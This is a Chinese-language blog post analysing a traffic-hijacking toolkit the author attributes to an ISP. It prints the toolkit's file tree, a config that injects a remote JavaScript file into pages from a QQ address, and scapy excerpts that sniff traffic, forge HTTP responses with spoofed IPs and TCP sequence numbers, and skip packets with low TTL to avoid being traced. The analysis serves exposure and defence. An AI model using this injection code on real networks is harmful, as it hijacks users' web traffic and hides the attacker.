某运营商流量劫持程序分析
之前所在的公司被运营商流量劫持,细节可以看上一篇博客,反制了一下劫持者,顺便把他们用的脚本拿出来分析了一下。
目录结构
- python => 核心功能代码
- c => 部分早期的POC,以及需要高性能的地方用c代码实现
常用的就http_get_logger.c
- cdn_files => 放在云存储上的一些中间页源代码,发布前请先压缩
- document => 一些参考文档和资料
- server_init => 服务器初始化配置说明
- tools => 一些python写的常用工具脚本
- supervisor => 各个服务器的supervisor配置
- conf_files => 服务器的常用配置
├── [ 483] README.md
├── [ 256] c
│ ├── [8.9K] block_http_request.c
│ ├── [2.0K] fake_ping.c
│ ├── [5.7K] http_get_logger.c
│ ├── [ 160] my_encrypt
│ │ ├── [2.3K] MyEncrypt.c
│ │ ├── [ 219] setup.py
│ │ └── [2.5K] test.py
│ ├── [ 11K] pcap_logging.c
│ └── [2.1K] test_web.c
├── [ 224] cdn_files
│ ├── [ 160] bak
│ │ ├── [ 448] 2015-08-06
│ ├── [1.7K] minifier.sh
│ └── [ 192] output
│ ├── [ 45K] edu_qj.jpg
│ ├── [ 40K] edu_sjb.jpg
│ ├── [ 46K] xdf_gxh.jpg
│ └── [ 55K] zml.jpg
│ └── [ 96] zhenjiang
├── [ 384] document
│ ├── [173K] Building\ Packets\ for\ Dummies\ and\ Others\ with\ Libnet.pdf
│ ├── [761K] PacketCraftingUsingScapy.pdf
│ ├── [325K] TCP_Hijacking.pdf
│ ├── [ 760] ping_server.sh
│ ├── [1.9K] scapy_intro.txt
│ └──[1.1K] tcp_flow.txt
├── [ 352] py_cfg
│ ├── [ 96] gz
│ ├── [ 96] gz2
│ ├── [ 96] hz
│ ├── [ 96] nb2
│ ├── [ 96] rq
│ ├── [ 96] sx
│ ├── [ 96] sx_jz
│ ├── [ 96] yw
│ └── [ 96] zj
├── [ 160] python
│ ├── [ 448] lib
│ │ ├── [2.7K] DataSender.py
│ │ ├── [2.8K] DataSenderT.py
│ │ ├── [ 960] Firewall.py
│ │ ├── [ 630] GlobalLocker.py
│ │ ├── [3.7K] PcapFilterGenerator.py
│ │ ├── [1.3K] TnGenerator.py
│ │ ├── [ 46] __init__.py
│ │ ├── [4.8K] dns_reader.py
│ │ ├── [4.8K] dns_reader_nb.py
│ │ ├── [4.8K] dns_reader_nb_yx.py
│ │ ├── [ 638] ethernet_detector.py
│ │ └── [1.6K] pcap_url_filter.py
│ ├── [ 352] lib_socket
│ │ ├── [4.2K] DataSender.py
│ │ ├── [ 960] Firewall.py
│ │ ├── [ 630] GlobalLocker.py
│ │ ├── [3.7K] PcapFilterGenerator.py
│ │ ├── [1.3K] TnGenerator.py
│ │ ├── [ 46] __init__.py
│ │ ├── [4.8K] dns_reader.py
│ │ ├── [ 638] ethernet_detector.py
│ │ └── [1.6K] pcap_url_filter.py
│ └── [ 352] lib_vlan
│ ├── [2.2K] DataSender.py
│ ├── [ 960] Firewall.py
│ ├── [ 630] GlobalLocker.py
│ ├── [3.7K] PcapFilterGenerator.py
│ ├── [1.3K] TnGenerator.py
│ ├── [ 46] __init__.py
│ ├── [4.8K] dns_reader.py
│ ├── [ 638] ethernet_detector.py
│ └── [1.6K] pcap_url_filter.py
├── [ 864] python_up
│ ├── [1.4K] monitor.py
│ ├── [2.5K] monitor_bd.py
│ ├── [2.4K] monitor_duba.py
│ ├── [2.5K] monitor_hao123.py
│ ├── [2.4K] monitor_jd.py
│ ├── [2.4K] monitor_jumei.py
│ ├── [2.4K] monitor_vip.py
│ ├── [4.8K] simple_url_redirector.py
│ ├── [5.1K] simple_url_redirector_ap.py
│ ├── [5.2K] simple_url_redirector_ha.py
│ ├── [5.9K] simple_url_redirector_hotel.py
│ ├── [4.6K] simple_url_redirector_mb.py
│ ├── [4.7K] simple_url_redirector_yx.py
│ ├── [8.2K] url_param_replace_redirector.py
│ ├── [6.7K] url_param_replace_redirector_mb.py
│ └── [2.6K] url_redirect.py
├── [ 320] server_init
│ ├── [7.8K] Network_Tuning.sh
│ ├── [1.8K] Network_Tuning2.sh
│ ├── [ 525] Network_Tuning_rq.sh
│ ├── [ 450] Network_p2p.sh
│ ├── [ 460] bash_improve.sh
│ ├── [ 893] init_centos_5.8.txt
│ └── [5.2K] init_ubuntu.sh
├── [ 128] supervisor
│ ├── [1.0K] README.md
└── [ 480] tools
├── [ 900] ethernet_detector.py
├── [6.1K] get_dns_records.py
├── [5.9K] get_ip_nb.py
├── [ 21K] get_ip_nb_yx.py
├── [ 574] http_logging.py
├── [2.2K] performance_compare.py
├── [1.3K] relay.py
├── [3.8K] send_vlan.py
├── [2.4K] socket_byte.py
├── [ 516] socket_client.py
├── [2.2K] socket_server.py
├── [2.6K] ss.py
└── [ 673] translate_raw_log.php
脚本作用于监听某一块网卡的所有流量,并且可以篡改回包
关键配置文件如下
cfg_area = {
"staging": ["eth0"], #本地网卡
"yw": ["p1p2"], #网卡名称
}
js_config_vip = [
{
"name": "qq_yw.js",
"target": "http://fw.qq.com/ipaddress", #需要劫持的目标网页(匹配到即可)
"target_is_prefix": True,
"exam_expression": '',
"js_to_append": "http://7xj2du.com1.z0.glb.clouddn.com/ywt.js", #插入的js
"add_random_flag": False,
"add_tn_code": False
},
程序行为
通过对程序的了解知道其大概的依赖基本是使用python的scapy包的sniff模块,通过hook一个处理函数,然后在改写sendp函数提高性能,然后在使用一个payload函数进行对http包的修改,加上Ether,datasender模块重新封包,然后再返回。
简单思考
这种程序的性能优化不大,基本都是依赖于python进行处理,但是如果是一个大流量的网络环境下,所有流量都必须经过该设备,那这个设备一定会挂掉,由此可见这个设备肯定不是用于安装在大型的网络出口(如省级,市级),最大的可能是区域的出口设备上,在下面就是小区的网络出口上,并且支持光纤/vlan的流量劫持
并且支持远程代理设备进行回包的发送(暂为理解为何需要此步骤)
劫持方式
- 通过直接将小区进出的总网线插入到劫持设备上进行流量分析
- 通过修改路由配置将小区的流量转发到路由上进行处理
- 通过路由自带的镜像功能
工作流程图如下
部分代码分析
篡改返回包,通过scapy中的sniff模块,传递一个自写的篡改函数如下
def hack_js(read_eth, area, config):
title = getproctitle() + ' ' + read_eth + ' [ ' + config['name'] + ' "' + config['target'] + '" ]'
setproctitle(title)
worker = JsHacker(area, config)
sniff(prn=worker.mapping, iface=read_eth, filter=worker.filter_string, store=0)
def mapping(self, request_pkt):
try:
if not self.rate_limiter.hit(request_pkt[IP].src):
self.sender.write_back(request_pkt, self.payload(request_pkt))
finally:
return
其中mapping函数使用payload函数重新组包,添加自定义的js进行返回
def payload(self, src_pkt):
if self.target_is_prefix:
request_payload = src_pkt[Raw].load
line_pos = request_payload.find(' HTTP/1')
_path = request_payload[4:line_pos]
_url = "http://%s/%s" % (self.target_domain, _path)
html = self.js_loader(_url, False) + self.js_appender
else:
html = self.js_target + self.js_appender
if self.tn:
html = 'var _ixi_="' + self.tn.get(src_pkt[IP].src) + '";' + html
else:
html = 'var _ixi_="' + self.tn_a + '";' + html
# jumei的某些地区跳转到天放
html = 'var _ixi2_="' + self.tn_a + '";' + html
# Browser Cache Expire Days
expire_days = 0.1
return "HTTP/1.1 200 OK" \
+ "\r\nServer: WS" \
+ "\r\nContent-Type: application/javascript" \
+ "\r\nContent-Length: %d" % len(html) \
+ "\r\nCache-Control: public, max-age=%d" % (86400 * expire_days) \
+ "\r\nDate: %s" % time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.localtime()) \
+ "\r\n\r\n" + html
然后调用了自写的Datasender模块伪造来源发送给目标ip,并且为了防止被人在附近劫持设备附近的网络进行流量分析,判断了ttl小于10就不篡改
def write_back(self, src_pkt, payload):
#避免被人定位数据截取点
if src_pkt[IP].ttl < 10 :
return
pack = self.data_pkg
try:
pack[Raw].load = payload
pack[TCP].dport = src_pkt[TCP].sport
pack[TCP].seq = src_pkt[TCP].ack
pack[TCP].ack = src_pkt[TCP].seq + src_pkt[IP].len - 40 #IP头 + TCP头刚好40
pack[IP].src = src_pkt[IP].dst
pack[IP].dst = src_pkt[IP].src
self.send1p(self.ether_pkg/pack)
except KeyboardInterrupt:
pass
finally:
syslog.syslog(src_pkt.sprintf("DataSender::write_back {IP:%IP.src% -> %IP.dst%} {Raw:%Raw.load%}"))
return